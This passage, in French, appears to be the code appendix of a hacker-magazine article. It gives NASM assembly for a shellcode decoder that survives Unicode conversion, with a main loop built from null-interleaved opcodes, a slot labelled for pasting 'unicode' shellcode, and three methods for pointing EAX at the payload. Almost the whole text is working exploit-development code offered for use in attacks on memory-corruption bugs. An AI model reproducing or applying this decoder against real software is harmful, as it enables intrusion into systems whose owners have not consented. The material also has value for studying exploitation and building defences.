(syntaxe NASM).Ce n'est pas vraiment un exemple de code, mais j'ai rassemblé tous mes exemples de façon à ce que vous n'ayez pas à regarder partout dans mon texte de messy pour trouver ce dont vous avez besoin... - main.asm ---------------------------------------------------------------- %include "\Nasm\include\language.inc" [global main] segment .code public use32 ..start: ; ********************************************* ; * En supposant que EAX pointe sur (*) (voir ci-dessous) * ; ********************************************* ; ; fixer EBX à 0x00000000 et ECX à 0x00000500 ; push byte 00 ; 6A00 push byte 00 ; 6A00 pop ebx ; 5D add [ebp+0x0],al ; 004500 pop ecx ; 59 add [ebp+0x0],al ; 004500 mov edx,0x41000500 ; BA00050041 add ch,dh ; 00F5 ; ; mettre en place le code de la boucle ; add [ebp+0x0],al ; 004500 mov byte [eax],0x8A ; C6008A add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0x58 ; C60058 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0x14 ; C60014 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0xE2 ; C600E2 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 ; ; Code de la boucle ; db 0x43 db 0x00 ;0x8A (*) db 0x14 db 0x00 ;0x58 db 0x88 db 0x00 ;0x14 db 0x18 db 0x00 ;0xE2 db 0xF7 ; < Copiez votre shellcode 'unicode' ici > -EOF----------------------------------------------------------------------- Ensuite les 3 méthodes pour faire que EAX pointe sur le code choisi. (N.B : Le code 'principal' est long de 42*2 = 84 octets) - methode1.asm ------------------------------------------------------------ ; ********************************************* ; * Ajuste EAX (+ 0xXXYY octets) * ; ********************************************* ; N.B : 0xXX != 0x00 add eax,0x0100XX00 ; 0500XX0001 add [ebp+0x0],al ; 004500 add eax,0xFF000100 ; 05000100FF add [ebp+0x0],al ; 004500 ; nous avons ajoutté 0x(XX+1)00 à EAX ; en utilisant : add al,0x0 en tant qu'instruction NOP : add al,0x0 ; 0400 add al,0x0 ; 0400 add al,0x0 ; 0400 ; [...] <-- (0x100 - 0xYY) /2 fois add al,0x0 ; 0400 add al,0x0 ; 0400 add al,0x0 ; 0400 ; (N.B) si 0xYY est ajouté alors ajouter un : dec eax ; 48 add [ebp+0x0],al ; 004500 -EOF----------------------------------------------------------------------- - methode2.asm ------------------------------------------------------------ ; ********************************************* ; * Basiquement : POPset XCHG * ; ********************************************* popad ; 61 add [ebp+0x0],al ; 004500 xchg eax, ? ; 1 octet non-nul (cherchez ce qu'il faut faire ici) add [ebp+0x0],al ; 004500 ; recommencer si ncessaire, ensuite utiliser la méthode 1 pour faire que tout marche -EOF----------------------------------------------------------------------- - methode3.asm ------------------------------------------------------------ ; ********************************************* ; * En utilisant un CALL * ; ********************************************* ; Obtenir l'adresse voulue mov eax,0xAA00??00 ; B800??00AA add [ebp+0x0],al ; 004500 push eax ; 50 add [ebp+0x0],al ; 004500 dec esp ; 4C add [ebp+0x0],al ; 004500 pop eax ; 58 add [ebp+0x0],al ; 004500 mov al,0x0 ; B000 mov ecx,0xAA00!!00 ; B900!!00AA add ah,ch ; 00EC add [ebp+0x0],al ; 004500 ; EAX = 0x00??!!00 ; un patch horrible, je suis bien daccord mov dword [eax],0x00C30058 ; C7005800C300 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0x50 ; C60050 add [ebp+0x0],al ; 004500 ;priez puis faites le call call 0x???????? ; E800!!00?? add [ebp+0x0],al ; 004500 ;ensuite ajouter 90d = 0x5A à EAX (pour atteindre (*), où se trouve le code de la boucle) ; cas où 0xXX = 0x00 donc nous ne pouvons pas utiliser la méthode1 add al,0x0 ; 0400 car nous patchons a l'adresse [eax] mov [eax],eax ; 8900 add dword [eax],byte 0x5A ; 83005A add [ebp+0x0],al ; 004500 mov eax,[eax] ; 8B00 ; EAX pointe sur le premier octet nul de notre code de boucle |=[ EOF ]=---------------------------------------------------------------=|